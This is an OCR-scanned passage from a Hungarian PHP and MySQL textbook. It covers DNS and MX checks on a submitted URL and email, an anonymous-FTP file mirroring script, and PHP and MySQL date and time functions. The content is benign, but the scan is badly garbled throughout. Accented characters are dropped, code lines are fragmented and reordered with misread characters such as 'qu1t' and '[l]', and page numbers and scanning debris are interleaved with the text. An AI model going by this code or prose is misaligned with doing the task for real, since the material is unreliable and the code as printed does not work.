ASPMXOOOOl.E.\tAD..OOMOOOGI..EMAll.COMASPMX.LGOIXit.COM
N..TI.ASNX.LOCIOGLcm.tALrOCXXH..i..COll:
!oioodn ................ __
.., ...... ......wt_
-........ .......
<html>
<head>
<title>Az oldalajnls eredmnyei<ltitle>
<lhead>
<body>
<hl> Az oldalajnls eredmnyei<lhl>
<?php
ll rlapmezk kinyerse
$url = $_REQUEST['url'];
$email =$ REQUEST['email'];
ll Az URL ellenrzse
$url = parse_url($url);
$host = $url['host'];
if(! ($ip = gethostbyname($host))
{
echo 'Az URL-hez tartoz hoszt nem rendelkezik rvnyes IP-cmmel';
exit;
$ip <br>";
ll E-mail cm ellenrzse
$email = explode('@',
$emailhost
$email);
$email[l];
ll megjegyzs:
a dns_get_mx() fggvny a
$mxhostsarr))
20
312
20. fezet
echo
'
"
20
echo 'Ksznjk,
Ezt kveten Iciderthetjk az ehhez a hoszthoz tartoz IP-cmer, amennyiben az benne van a domainnv-szolgltatsban
(DNS). A gethostbyname() fggvnyt hasznljuk erre, ami az IP-cmer adja vissza, illetve amennyiben az nem ltezik,
visszatrsi rtke false lesz:
$ip = gethostbyname($host);
$email);
Semailhost = $email[l);
Miutn gy Icidertettk a cm hoszt rszt, a dns_get_mx() fggvnnyel ellenrizhetjk, hova megy az e-mail:
dns_get_mx($emailhost,
$mxhostsarr);
A fggvny az $mxhostsarr tmbben a megadott cmhez tartoz Maii Exchange- (MX) rekordok halmazr adja vissza.
Az MX-rekordok a DNS-nl vannak eltrolva, s gy kereshetjk ket, mint a hosztneveket. Az MX-rekordban megadott
gp nem szksgszeren az, ahova a levl tnylegesen kerl. Lehet egyszeren egy olyan gp, amely tudja, hova kell irnytani
a levelet. (Mivel egynl tbb ilyen gp is lehet, a fggvny a hosztnv karakterlnca helyett tmbt ad vissza.) Ha nincs MX
rekord a DNS-ben, akkor az e-mailnek nincs hova mennie.
rdemes megjegyezni, hogy a PHP windowsos verziiban a dns _get_ mx ( ) fggvny nem mkdik. Windows alatt hasz
nljuk a PEAR::Net_DNS csomagot, amivel ugyanezt a clt rhetjk el (http:/ l pear.php.net/ package/NET _DNS)!
313
Ha az ellenrzsek rendben vannak, az rlap adatai bekerlhetnek az adatbzisba, s vrhatjk, hogy valamely kollgok
majdan tnzi az aJnlott oldalt.
A pldban szerepl fggvnyeken tlmenen a checkdnsrr () fggvnyt is hasznlhatnnk. Ez hosztnevet fogad para
mterknt, s abban az esetben tr vissza true rtkkel,ha a DNS-ben megtallhat a hosztnv rekordja.
ltalnos windowsos telepts hasznlata esetn az FTP fggvnyek automatikusan be vannak kapcsolva. (A PHP konfigur
lsrl a fggelkben tallunk tovbbi informcit.)
<html>
<he ad>
<title>Tkrzs frisstse</title>
<lhead>
<body>
<hl> Tkrzs frisstse </hl>
<?php
'anonymous';
'en@pelda.com';
$tavoli_fajl = '/pub/tsg/teraterm/ttsshl4.zip';
$helyi fajl = 'ltmp/writable/ttsshl4.zip';
ll kapcsolds a hoszthoz
$kapcsolat = ftp_connect($host);
if (!$kapcsolat)
{
echo 'Hiba:
exit;
echo "Sikeresen csatlakoztatva:
$host.<br />";
ll bejelentkezs a hasztra
$eredmeny = @ftp login($kapcsolat,
$felhasznaloi_nev,
$jelszo);
if (!$eredmeny)
echo "Hiba:
ftp qu1t($kapcsolat);
20
'
314
20. fejezet
exit;
echo
bejelentkezvecbr />";
$helyi_modositas_ideje
20
filemtime($helyi_fajl);
$helyi_modositas ideje);
else
$helyi_modositas ideje=O;
$tavoli_modositas ideje= ftp_mdtm($kapcsolat,
$tavoli fajl);
if
ll gondoskodjunk a frisstsrl!
else
$tavoli_modositas_ideje);
ll fjl letltse
echo
'w');
if (!$siker = ftp_fget($kapcsolat,
$fp,
$tavoli fajl,
fclose($fp);
echo 'A fjl sikeresen letltdtt';
?>
</body>
</html>
FTP_BINARY))
315
lt2l-;m--;T.:J""
Tkrzs frisstse
Sbn:wa.......
..._..
...___..._
_.......,._
FIJI...,-..6ciooiMoi ....... ........_
Rli7!r.o.J ......... iot/ipanJo lllll-S..XIIO
f.....ta,l..... ....._._jo:l"lf">.Joi..lOIO
Aw,i......_
20
20.4 bra: Az FTP tkrzkd ellenrzi, hogy a fjl helyi vltozata napraksz-e,
s ha nem az, akkor letlti az j vltozatt.
Az ftp_tukrozes. ph p kd elgg ltalnos. Lthatjuk, hogy az albbi vltozk belltsval kezddik:
$host =
'ftp.cs.rrnit.edu.au';
$felhasznaloi_nev
$jelszo
'anonyrnous';
'en@pelda.corn';
$tavoli fajl
$helyi_fajl
'/pub/tsg/teraterrn/ttsshl4.zip';
'/trnp/writable/ttssh14.zip';
A $host vltoz annak az FTP kiszolglnak a nevt tartalmazza, amelyhez kapcsoldni kvnunk, a $felhasznaloi_
nev s a $j elszo pedig a bejelentkezshez hasznland felhasznli nevet, illetve jelszt trolja.
Sok FTP oldal tmogatja az gynevezett nvtelen bejelentkezst (anonymous login). Ebben az esetben egy szabadon elrhet
felhasznli nvvel brki csatlakozhat a kiszolglhoz. Nincs szksg jelszra, de jelszknt gyakran illik megadni e-mail c
mnket, hogy a rendszergazdk lthassk, honnan jnnek a felhasznlik. Pldnkban is kvettk ezt a szokst.
A $tavoli_fajl vltoz a letlteni kvnt fjl elrsi tvonalt tartalmazza. Jelen esetben a Tera Term SSH egy helyi
pldnyt tltjk le s tkrzzk. A Tera Term SSH egy windowsos SSH kliens. (Az SSH a secure shell, a biztonsgos hj
rvidtse. Ez a Telner gy titkostott formja.)
A $helyi_ faj l vltoz annak a helynek az elrsi tvonalt tartalmazza, ahol szmtgpnkn trolni kvnjuk a letl
ttt fjlt. A pldban ltrehozunk egy /trnp/wri table nev knyvtrat megfelel jogosultsgokkal ahhoz, hogy a PHP fjlt
rhasson oda. Opercis rendszernktl fggetlenl a kd mkdshez ltre kell hozni ezt a knyvtrat. Amennyiben ope
rcis rendszernk szigor jogosultsgi szisztmval br, gondoskodnunk kell rla, hogy kdunknak jogosultsga legyen rni.
Ezeket a vltozkat megfelelen mdostva lehetv vlik, hogy sajt cljainkra hasznljuk a kdot.
A kdban ugyanazokat az alaplpseket kvetjk, mintha sajt kezleg, parancssori felletbl tovbbtannk egy llomnyt
FTP-n keresztl:
l.
2.
(!$kapcsolat)
{
echo 'Hiba:
exit;
$host.<br />";
316
20.fezet
Az ftp_connect () fggvnyt hvjuk meg itt. Ez paramterknt a hosztnevet fogadja,s vagy a kapcsolat erforrs-vl
tozjt adja vissza, vagy- amennyiben a kapcsolat nem tud ltrejnni- false rtkkel tr vissza. A fggvny opcionlis
msodik paramterknt a csadakozsra kijellt hoszt portjnak szmt fogadhatja. (A pldban nem adtuk ezt meg.) Ha nem
hatrozzuk meg a port szmt,a 21-est, az FTP alaprtelmezett portjt fogja a fggvny hasznlni.
Bejelentkezs az FTP kiszolglra
20
A kvetkez lps a bejelentkezs adott felhasznli nvvel s az ahhoz tartoz jelszval.Az ftp_login () fggvnnyel tehet
jk ezt meg:
$eredmeny
if
@ftp_login($kapcsolat,
$felhasznaloi_nev,
$jelszo);
(! $eredmeny)
{
echo
/>";
ftp_quit($kapcsolat);
exit;
echo
/>";
A fggvny hrom paramtert vr: az FTP kapcsolatot (amit az ftp_connect () fggvnybl kap meg), a felhasznli
nevet s a jelszt.Sikeres bejelentkezs esetn true, ellenkez esetben false rtkkel tr vissza. Figyeljk meg,hogy a sor
elejre @ szimblumot tve elnyomjuk a hibkat! Azrt tesszk ezt, mert ha a felhasznl nem lptethet be, PHP-s figyel
meztets jelenne meg a bngszben.Az $eredmeny tesztelsvel kezelhetjk ezt a hibt, s sajt, felhasznlbart hibaze
netnket tudjuk megjelenteni.
Lthatjuk, hogy sikereden bejelentkezsi kisrlet esetn az ftp_quit () fggvnnyel bontjuk az FTP kapcsolatot. A k
sbbiekben rszletesebben is bemutatjuk ezt a fggvnyt.
Fjl mdostsi idejnek ellenrzse
Mivel az llomny helyi msolatt kvnjuk frissteni,rdemes lehet ellenrizni,hogy egyltaln szksg van-e erre,mert ha
a helyi vltozat friss, akkor teljesen felesleges lenne mg egyszer letlteni. Nagy llomnyok esetn ez egyltaln nem mindegy,
akr jelents hlzati forgalomtl is megkmlhetjk magunkat ezltal. Nzzk meg az utols mdosts idpontjt ellenrz
kdrszletet!
Pontosan a fjlok utols mdostsi idpontja miatt hasznlunk a sokkal egyszerbb f:ijlfggvnyek helyett FTP fggv
nyeket.A fjlfggvnyek is egyszeren olvasnak- s egyes esetekben rnak is- f:ijlokat hlzati felleten (network interfaces)
keresztl,de az olyan llapotfggvnyek,mint pldul a filemtime (),tvolrl nem mkdnek .
Azt eldntend, hogy le kell-e tlteni a fjlt, elszr is a file_exists () fggvnnyel ellenrizzk, hogy megvan-e a fjl
helyi pldnya. Ha nincs, akkor egyrtelm, hogy szksg van a letltsre.Ha a fjl ltezik,utols mdostsnak idpontjt
a filemtime() fggvnnyel derthetjk ki, s a $helyi_modositas_ideje vltozban eltroljuk azt. Ha a helyi fjl nem
elrhet, akkor a $helyi_modositas_ideje vltoz rtkt 0-ra lltjuk, mert gy biztosan,.korbbi" lesz, mint a tvoli f:ijl
utols mdostsnak idpontja:
echo
/>';
if (file_exists($helyi fajl))
{
$helyi_modosi tas ideje
echo
';
$helyi_modositas ideje);
'<br />';
else
$helyi_modositas_ideje=O;
ftp_mdtm($kapcsolat,
$tavoli fajl);
317
A fggvny kt paramtert fogad: az FTP kapcsolat erforrs-vltozjt s a tvoli fjl elrsi tvonalt, s a fjl urols mdo
stsi idpontjnak unixos idblyegt vagy hiba esetn -l-et ad vissza. Nem minden FTP kiszolgl tmogatja ezt a funk
cit, gy nem felttlenl fog hasznlhat eredmnnyel jrni a fggvny alkalmazsa. Ha gy trtnik, dnthetnk gy, hogy
$helyi_ modositas_ideje
vltoznl.,ksbbire" lltjuk
if
ll
ll
echo
hogy
tmogatja a
'Nem rhet
mdositsi idt
$tavoli_modositas_ideje=$helyi_modositas_ideje+l;
ll
l>';
20
gondoskodjunk a frisstsrl
'
else
$tavol_modositas_ideje);
l>';
'<br
A kt mdostsi idpont birtokban sszehasonlthatjuk a fjl kt vltozatt, s eldnthetjk, hogy szksg van-e a letltsre:
1f
(! ($tavoli_modositas_ideje >
$helyi_modositas_ldeje))
l>';
exit;
A fjlletltse
Ha idig eljutottunk, megprblhatjuk letlteni a fjlt a kiszolglrl:
echo 'Fjl letltse a szerverrl ...<br
$fp = fopen ($helyi_fajl,
/>';
'w');
if (!$siker = ftp_fget($kapcsolat,
$fp,
$tavoli fajl,
FTP_BINARY))
fclose($fp);
echo 'A fjl sikeresen letltdtt';
Ahogy azt mr korbban megtanultuk, helyi fjlt az fopen () fggvnnyel nyitunk meg. Ezt kveten az ftp_fget ()
fggvnyt hvjuk meg, amely megksrli letlteni s helyi fjlban eitroini az llomnyt. A fggvny ngy paramtert fogad. Az
els hrom magtl rtetd: az FTP kapcsolat, a helyi fjl erforrs-vltozja s a tvoli fjl elrsi tvonala. A negyedik para
mter az FTP kapcsolat mdja.
Az FTP fjltvitel kt lehetsges mdja az ASCII s a binris (binary). Az ASCII mdot szveges (vagyis kizrlag ASCII
karaktereket tartalmaz) fjlok tovbbtsra hasznljuk, a binris mdot pedig minden ms fjlhoz. A binris md rintet
lenl hagyja a tovbbtott fjlt, az ASCII md ugyanakkor az opercis rendszernknek megfelel mdon talaktja a.,kocsi
vissz' s a.,soremels" karaktereket (Unix alatt \n, Windows alatt \r\n, Macintosh alatt pedig \r lesz bellk).
A PHP FTP knyvtrban kt, elre meghatrozott, ezeket az FTP mdokat jelkpez lland tallhat: FTP_ASCII s
FTP_BINARY. Neknk
kell eldnteni, hogy melyik md felel meg a szban forg fjltpusnak, s az annak megfelel llandt
kell negyedik paramterknt tadni az ftp_fget () fggvnynek. Pldnkban tmrtett ZIP fjlt tovbbtunk, ezrt az
FTP_BINARY
mdot vlasztjuk.
Ha minden rendben megy, az ftp_fget () fggvny true, hiba esetn pedig false rtkkel tr vissza. Az eredmnyt
$si ker
318
20.fezer
Lnt mod)
Ez a fggvny az ftp_fget ()-hez hasonlan mkdik , m nem ignyli,hogy a helyi fjl meg legyen nyitva.Az rni kvnt
helyi fjl erforrs-vlrozja helyerr annak elrsi tvonalr adjuk r a fggvnynek.
rdemes megjegyezni,hogy az egyszerre tbb fjl letltsre hasznlhat mget FTP-s parancsnak nincsen megfelelje. Ha
erre van szksgnk,tbbszr meg kell hvnunk az ftp_fget () vagy ftp_get () fggvnyt.
20
A kapcsolat bontsa
Az FTP kapcsolattal vgzett munka utn bontani kell a kapcsolatot az ftp_ quit () fggvnnyel:
ftp_quit($kapcsolat);
Fjlfeltlts
Ha fordtva szeremnk eljrni- vagyis a szervernkrl szeretnnk tvoli gpekre msolni fjlokat -,kt olyan fggvnyt kell
hasznlni,amely lnyegben az ftp_fget () s az ftp _get () ellentte.Ez a kt fggvny az ftp_fput () s az ftp _put().
A kvetkez a prototpusuk:
int ftp_fput (int ftp_kapcsolat,
int ftp_put (int ftp_kapcsolat,
int
fp,
int mod)
fajl_eleresi_utvonala,
int mod)
Idtllps elkerlse
FTP-n keresztli fjltvitel esetn az egyik lehetsges problma a maximlis vgrehajtsi id tllpse.Tudni fogjuk, amikor
ez bekvetkezik,mert a PHP hibazenetet ad. Az ilyen hiba jellemzen akkor fordul el,ha a kiszolgl lass, vagy tlterhelt
hlzaton fut, vagy ha a letlteni kvnt fjl nagy mret (pldul videofjl).
A maximlis vgrehajtsi id alaprtelmezett rtkt minden PHP kd szmra a php. ini fjlban hatrozhatjuk meg.
Alapbl 30 msodpercre van lltva. Ennek clja az irnytsunk all kikerl kdok kezelse. Ha azonban FTP-n keresztl
tovbbtunk fjlokat,s a vilg tbbi rszvel bennnket sszekt kapcsolat lass, vagy a szban forg llomny elg nagy,
a fjltvitel ennl akr sokkal hosszabb ideig is eltarthat.
Szerencsre a set_ time_lim i t () fggvnnyel knnyedn mdosthatjuk az adott kdra rvnyes maximlis vgrehajtsi
idt. A fggvny meghvsa tlltja a kd futsra engedlyezett msodpercek szmt. A vgrehajtsi id szmolsa ebben az
esetben a fggvny meghvstl kezddik.
Ha pldul meghvjuk a
set_time_limit(90);
A fggvny a tvoli fjl bjtokban kifejezett mrett,illetve hiba esetn -l-et ad vissza. Nem minden FTP kiszolgl tmo
gatja. Az ftp_size() kivlan alkalmas egy adott fjltvitelhez szksges maximlis vgrehajtsi id kiszmtsra.A fjl
mret s kapcsolatunk sebessge alapjn knnyedn megbecslhetjk, hogy mennyi ideig tarthat az tvitel, s ennek megfelel
en kell a set_time_limit() fggvnyt hasznlnunk.
Az albbi kddal tudjuk kiderteni s megjeleniteni egy tvoli FTP kiszolgl valamely knyvtrban lv fjlok nevt:
$listazas
ftp n1Lst($kapcsolat,
dirname($tavoli fajl));
319
A tovbbi FTP fggvnyekrl elmondhatj uk, hogy szinte minden, amit FTP parancssorbl meg tudunk tenni, az FTP
fggvnyekkel is vgrehajthat. Az egyes FTP parancsoknak megfelel fggvnyeket a PHP online kziknyvben talljuk meg
(http://us2.php.net/manual/ en/ ref.ftp.php)
A kivtel a mr korbban emltett mget (multiple get, azaz egyszerre tbb fjl letltse), de az ftp_nl ist() fggvnnyel
megszerezhetjk a fjlok listjt, majd letlthetjk a szksges llomnyokat.
Tovbbi olvasnival
A fejezetben elssorban az alapokat tekintettk t, de az interneten szmtalan tovbbi anyagot tallunk az itt trgyalt tmkban.
Az egyes protokollokrl s mkdskrl a http:/ /www.rfc-editor.org/ oldalon elrhet RFC-ket rdemes tanulmnyozni.
A World Wide Web Consortium protokollokkal kapcsolatos informciit is rdekesnek tallhatjuk, ezeker a http://www.
w3.org/Protocols/ cmen rjk el.
A TCP/IP protokollrl szmos knyvben kimert lerst tallunk, pldakppen elg megemlteni Andrew Tanenbaum
Computer Networks (Szmitgpes hlzatok) cm munkjt.
Hogyan tovbb
Immr kszen llunk arra, hogy megvizsgljuk a PHP dtum- s naptrfggvnyeit tartalmaz knyvtrakat. A kvetkez
fejezetbl azt is megtudhatj uk, hogyan alakithatjuk a felhasznlk ltal bert formtumokat PHP s MySQL formtumokk,
majd vissza az eredeti formtumra.
20
21
Dtum s id kezelse
E fejezerbl megtudhatj uk, hogyan ellenrizherjk s formzharjuk a drumor s idr, illetve hogyan vltharunk a klnbz
drumformrumok kztt. Ezek a lehetsgek akkor lesznek klnsen hasznosak, amikor MySQL s PHP, illetve Unix s
PHP drumformrumok, valamint a felhasznlk ltal HTML rlapon bevitt drumok formrumai kztt kell vltanunk.
A fejezerben az albbi fbb tmakrkkel foglalkozunk:
Drum s id megllaprsa PHP-bl
Vlrs PHP s MySQL drumformrumok kztt
Drumok kiszmrsa
Naprrfggvnyek hasznlara
A da t e
( ) fggvny hasznlata
Emlkezhernk r, hogy a date { ) fggvny kr paramtert fogad, amelyek kzl az egyik opcionlis. Az els a formrum
szrring, a msodik- az opcionlis - pedig egy Unix idblyeg. Ha nem hatrozzuk meg az idblyeger, a date {) alaprtelme
zsben az akrulis drumor s idr hasznlja. A fggvny a megfelel drumor jelkpez, formzott karakterlncot adja vissza.
A date {) fggvny tipikus meghvsa a kvetkezkppen nz ki:
ech o date
(jS
Y') ;
Ez a 30th March 2010 formrumban adja vissza a drumor. A fggvny ltal elfogadott formrumkdok lisrjr a 21.1
tblzat tartalmazza.
21.1 tblzat: A PHP da te {)
fggvnynekformtumkdjai
Kd
Lers
ISO 8601-es szabvny szerinri drum. A drumor -HH-NN formrumban jelenti meg. Nagy
www.swarch.com/.
A hr napja hromkarakreres, rvidirett szveges formrumban (a napok angol neve alapjn). A tarto
mny Mon-rl Sun-ig rarr.
322
21. fejezet
Kd
Lers
Nyri idszmts Boole-i rtkkel megadva. A formtumkd l-et ad vissza, amennyiben van nyri
idszmts, s O-t, ha nincs.
A hnap napja helykitlt nullk nlkl. A tartomny l-tl 31-ig tart.
Szkv Boole-i rtkkel megadva. A formtumkd l-et ad vissza, amennyiben az adott dtum szk
21
..1
(W) az elz vagy a kvetkez vhez tartozik, mert akkor azt az vet
Az egsz perc ta eltelt msod percek, helykirlt nullkkaL A tartomny O O-tl 5 9-ig tart.
A dtumhoz tartoz hnapban lv naptri napok szma. A tartomny 2 8-tl 31-ig tart.
Az l 970. janur l-tl az aktulis idpontig eltelt msodpercek szma; ezt nevezik a dtum Unix idb
lyegnek.
Az v ngyszmjegy formtumban-pldul 2 O l O.
Az aktulis idznnak a GMT-rl msodpercben mrt eltrse. A tartomny -4 3200-tl 4 3200-ig tart.
Dtum s id kezelse
323
Annak ellenre, hogy ez a formtum unixos szabvny, a date() s egyes ms PHP fuggvnyek akkor is ezt hasznljk, ha
a PHP-t Windows
alatt futtatjuk. Az egyeden klnbsg ebben az esetben az, hogy a Windows alatt az idblyeg nem lehet negatv.
Ha dtumot s idt szeretnnk Unix idblyegg alaktani, az mktime() fuggvnyt kell hasznlni. Prototpusa a kvetkez:
int mktime ([int ora[, int perc[, int masodperc[, int hnap[,
int nap[, int ev
[,
int nyari_idoszamitas]]]]]]])
A paramterek- taln az utols, a nyari_idoszami tas kivtelvel- elgg magtl rtetdek. A nyar i_
idoszarni tas paramter azt jelzi, hogy a dtum a nyri idszmtsba esik-e. Amennyiben igen, akkor l-re, ha nem, akkor
O-ra kell lltani a paramtert. Amennyiben nem tudjuk, akkor az alaprtelmezett rtket, a -l-et rdemes hasznlni.Ebben
az
esetben a PHP megprblja azon rendszer alapjn, amin fut, kitallni, hogy vajon hasznlnak-e nyri idszmitst. Mivel
mktime();
a pontos (pillanatnyi)
dtum s id Unix idblyegt adja vissza. Ugyanezt az eredmnyt kapnnk a kvetkez fuggvny meg
hvsval is:
$idobelyeg = time();
A time () fuggvny egyeden paramtert sem fogad, s mindig a pontos dtum s id Unix blyegkpt adja vissza.
Egy msik lehetsg a korbban mr bemutatott date () fuggvny. Az
"u"
('U") ;
Az mktime( ) fuggvnynek kt vagy ngy szrnjeggyel is megadhatjuk az vet. A O s 69 kztti ktszmjegy rtkek
a
2000 s 2069 kztti veket, a 70 s 99 kztti rtkek pedig az 1970 s 1999 kztti veket jelkpezik.
Nzznk nhny tovbbi pldt az mktime ()hasznlatt szemlltetend! Az
$ido = mktime(l2, O,
0);
pedig a foly v janur elsejt adja vissza. Figyeljk meg, hogy az ra paramter esetben a O-val (s nem a 24-gyel) jelljk az
jflt!
Az mktime() fuggvnyt dtumokkal kapcsolatos, egyszer szmtsokra is hasznlhatjuk. Pldul az
$ido = mktime(l2,0,0,$honap,$nap+30,$ev);
30 napot ad a komponensek ltal meghatrozott dtumhoz (mg akkor is, ha a $nap+ 30 ltalban nagyobb, rnint az adott
hnapban lv napok szma).
A nyri idszmtssal kapcsolatos problmk elkerlse rdekben hasznljunk a O ra helyett a 12 rt! Ha az jflhez (24
60 60)-at adunk egy 25 rs napon, akkor ugyanazon a napon maradunk. Ha dlhez adjuk hozz ugyanezt a szmot, akkor
A fuggvny egyeden opcionlis paramtert, egy idblyeget fogad, s olyan tmbt ad vissza, amelynek elemei a dtum s az
id klnbz rszeit jelkpezik (lsd 21.2 tblzat!).
21.2 tblzat: A getdate
Kulcs
rtk
seconds
Msodperc, numerikus
minutes
Perc, numerikus
hours
ra, numerikus
mday
wday
A ht napja, numerikus
21
324
21 . fejezet
Kulcs
rtk
mon
Hnap, numerikus
year
v, numerikus
yday
Az v napja, numerikus
weekday
month
Idblyeg, numerikus
Ha mindezeket
az elemeket egy tmbben tudjuk, knnyen a kvnt formtumba rendezhetjk ket. A tmb O
eleme
(az
idblyeg) feleslegesnek tnhet, de ha paramter nlkl hvjuk meg a get date () fggvnyt, az elem az aktulis idblyeget
fogja adni.
A getdate () fggvnyt hasznl kvetkez kd
<?php
21
$ma = getdate();
print r($ma);
?>
=> 45
[minutes]
=> 6
[hours]
[mday]
[wday]
[mon]
=> 20
=> 14
=> 3
=> 3
[year]
=> 2007
[yday]
=> 72
[weekday]
[month]
[0]
=> Wednesday
=> March
=> 1173917205
az ev
int nap,
int ev)
O s 32,767 kztti, rvnyes egsz szm, a honap l s 12 kztti egsz szm, illerve
a nap ltezik-e az adott hnapban. A fggvny a szkveket is figyelembe veszi az rvnyessg megllaptshoz.
Pldul a
checkdate(2,
29,
2008)
29,
2007)
fggvny false lesz (rnivel2007 nem szkv, gy nem volt benne februr 29.).
Idblyegekformzsa
Az strftime ( ) fggvnnyel a rendszer (a webszerver) helyi belltsainak megfelelen formzhatjuk
az idblyegeket.
[,
int $idbelyeg]
Dtum s id kezelse
325
<?php
echo
strftime('%A<br
/>');
echo
strftime('%x<br
/>');
echo
strftime('%c<br
/>');
echo
strftime('%Y<br
/>');
?>
ngy klnbz formtumban jelenti meg a rendszer adott pillanatban vett idblyegt. A kd a kvetkezhz hasonl kime
netet eredmnyez:
Tuesday
03/16/10
03/16/10 21:17:24
2010
Az strftime () formtumkdjainak teljes listja a 21.3 tblzatban tallhat.
21.3 tblzat: A strftime
Kd
Lers
%a
A ht napja(rvidtve)
A ht napja
%A
%b
21
(>fggvnyformtumkdjai
vagy %h
Hnap(rvidtve)
Hnap
%B
%c
%C
Szzad
%d
%D
%e
A hnap napja ktkarakteres sztringknt( ' l ' -tl ' 31 ' -ig)
%g
%G
%H
%I
ra(l-tl 12-ig)
%j
%m
Hnap(Ol-tl l2-ig)
%M
Percek(OO-tl 5 9 -ig)
%n
j sor (\n)
%p
%r
%R
Az id 24 rs formtumban
%S
%t
Tabultor(\ t)
%T
Az id : pp : mm formtumban
%u
%U
%V
%w
%W
%x
%X
%y
v(kt szmjeggyel)
v(ngy szmjeggyel)
%Y
%z
vagy %Z
Idzna
az
az
els ht kezdnapja)
326
21. fejezet
A 21.3 tblzatban emltett szabvnyos formtum azt jelenti, hogy a formtumkd helyt a webszerver helyi bellrsainak
megfelel rtk veszi t. Az strftime () fggvny kivlan alkalmas arra, hogy a dtumot s az idt az oldalainkat felhaszn
lbartt tev formtumokban jelentsk meg.
Vlts PHP s
21
A MySQL az ISO 8601-es szabvnynak megfelel formtumban kezeli a dtumot s idt. Az id kezelse viszonylag egyr
telm, azonban az emltett szabvnynak megfelel dtumokban az v kerl elre. (Neknk, magyaroknak ez termszetes, an
golszsz terleren lknek azonban szokaclan.) Pldul a 2008. mrcius 29-t (ami angolul March 29, 2008) 2008-03-29 vagy
08-03-29 formban kell rni. Alaprtelmezsben a MySQL-bl kinyert dtumok is ebben a formban rhetk el.
Oldalunk vagy alkalmazsunk clkznsgrl fggen elkpzelhet, hogy ez nem lesz megfelel szmunkra. A PHP s
a MySQL kztti kommunikci rdekben ltalban valamilyen mdon t kell alakitani a dtumot. Ezt a feladatot mindkt
alkalmazsban elvgezhetjk. Amikor PHP-bl visznk MySQL-be dtumokat, a korbban mr ltott da te () fggvnnyel
egyszeren a megfelel formtumra alakithatjuk azokat. Egy apr figyelmeztets: amikor sajt kdunkbl lltjuk el a dtu
mot, a MySQL sszezavarst elkerlend a napot s a hnapot helykirlt nullkkal kell trolni. Hasznlhatunk kt szm
jeggye! jellt vet, de rdemes inkbb mind a ngy szmjegyet kirni. Amennyiben MySQL-ben kivnjuk talakitani a dtumot
vagy idt, kt hasznos fggvny ll ehhez rendelkezsnkre: a DATE_ FORMA T () s a UNIX_ TIMESTAMP ().
A DATE_ FORMAT () fggvny a PHP-beli fggvnyhez hasonlan mkdik, m ms formtumkdokat hasznl. Az egyik
leggyakoribb feladat, amit e fggvnnyel vgre fogunk hajtani, a MySQL ltal hasznlt ISO formtum dtumnak (
HH -NN) az angolszsz terleten elterjedt formtumra (HH-NN-) alakitsa. Az albbi lekrdezssei tehetjk meg ezt:
SELECT
DATE
FORMAT(datum_oszlop,
'%m %d %Y')
FROM tablanev;
A %m formtumkd kt szmjeggyel rja a hnapot, a %d ugyanezt teszi a nappal, az %Y pedig ngy szmjeggyel jelenti meg
az vet. A 21.4 tblzatban a gyakrabban hasznlt MySQL formtumkdokat lthatjuk.
21.4 tblzat: A MySQL DATE_ FORMAT () fggvnynek formtumkdjai
Kd
Lers
%M
%W
%D
%Y
%y
v szmmal, kt szmjeggyel
%a
%d
%e
%m
%c
%b
%j
Az v napja szmmal
%H
%k
%h
vagy %I
%1
%i
%r
%T
%S
vagy %s
%p
AM vagy PM
%w
Dtum s id kezelse
327
A UNIX_TIMESTAMP fggvny hasonlan mkdik, m Unix idblyegg alaka a neki radort oszlopot. Az albbi lekrdezs
SELECT
UNIX_TIMESTAMP(datum_oszlop)
FROM tablanev;
pldul Unix idblyegknt formzva adja vissza a dtumot. Ezt kveten azt tehetnk vele PHP-ben, amit csak szeretnnk.
A Unix idblyeg lehetv teszi, hogy egyszeren szmoljunk a dtumokkal, vagy sszehasonltsuk ket. Ne feledjk azon
ban, hogy az idblyeg ltalban csak 1902 s 203 8 kztti dtumokat jelkpezhet, a MySQL adattpusa viszont sokkal szle
sebb tartomnnyal rendelkezik!
ltalnossgban az albbi szablyt kell kvetni: a Unix idblyeggel dtumokkal kapcsolatos szmtsokat vgezznk,
a szabvnyos dtumformtumot pedig dtumok trolsra s megjelentsre hasznljuk!
21
21.1 pldakd: eletkor _kis z amitas. php-letkor kisz<imt<isa szletsi d<itum alapj<in
<?php
ll szletsnap meghatrozsa
$nap =
18;
$honap =
$ev
9;
1972;
ll ne feledjk,
$sznapunix
mktime
$mostunix = time();
(0,
O,
echo
- $sznapunix;
floor($eletkorunix
"Az letkor:
$honap,
hnap s v
$nap,
$ev);
formban
kell megadni'
ll sznap idblyege
$eletkorunix = $mostunix
$eletkor
O,
ll klnbsg kiszmtsa
(365 * 24
$eletkor";
?>
A kd belltja az letkor kiszmtshoz hasznland szletsnapot. Valdi alkalmazs esetn ez az adat mnden bizonnyal
HTML rlapbl rkezne. A kd a mktime () fggvny meghvsval indul, hogy kiszmoljuk a szletsnaphoz s az aktulis
dtumhoz tartoz idblyeget:
$sznapunix
mktime
$mostunix = time();
(0,
O,
O,
$honap,
$nap,
$ev);
ll sznap idblyege
$mostunix
$sznapunix;
Most jn a kiss trkks rsz: ennek az idtartamnak a visszaalaktsa az emberek ltal jobban kezelbec mrtkegysgre.
Ez irt most nem idblyeg. hanem az adott szemly msodpercekben mrt letkora. gy alakthauk vissza vekre, ha eloszt
juk az egy vben lv msodpercek szmval. Az gy kapott szmot a floor () fggvnnyel lefele kerekk, mert egy ember
csak akkor lesz pldul 20 ves, amikor betlti a 20. letvt:
$eletkor
floor($eletkorunix
Jegyezzk meg. hogy ez a megolds nem teljesen tkletes, mert a Unix idblyegek (ltalban 32 bites egsz szmok) tar
tomnya korltozza a mkdst. A szletsnapokkal val szmols nem a legjobb plda az idblyegek hasznlatra. A plda
csak az 1970 utn szletertek esetben mkdik nnden opercis rendszeren, hiszen pldul a Windows nem kpes kezelni
az
1970 eltti idblyegeket. Mg az ezt kveten szletett emberek esetn sem lesz felttlenl pontos a szmts, mert a kd
nem veszi figyelembe a szkveket, illetve akkor is tvedhet, ha a helyi idznban jflkor trtnik a nyri s tli idszmts
kzrti vlts.
328
21. fejezet
Megjegyzs: A PHP 5.3-as verzijhoz tbb olyanfggvnyt hozzadtak, amely a dtumokkal val szmolst knnyti meg.
flyen egyebek kztt a date_add(), a date_sub() s a date_diff(). Ezek a dtumkezel fggvnyekfeleslegess te
szik a MySQL hasznlatt a korbban PHP-ben elrhetetlen dtumkezelsi feladatok egyszer vgrehajtshoz.
Egy tovbbi, elsre taln nem nyilvnval lehetsg a MySQL hasznlata. A MySQL a Unix idblyegek megbzhat tarto
mnyn kivli dtumok esetn is kivlan hasznlhat dtumkezel fggvnyek szles vlasztkt knlja. MySQL lekrdezs
limatshoz MySQL kiszolglhoz kell csatlakozni, de nem szksges adatbzisadatokat hasznlnunk ehhez a feladathoz.
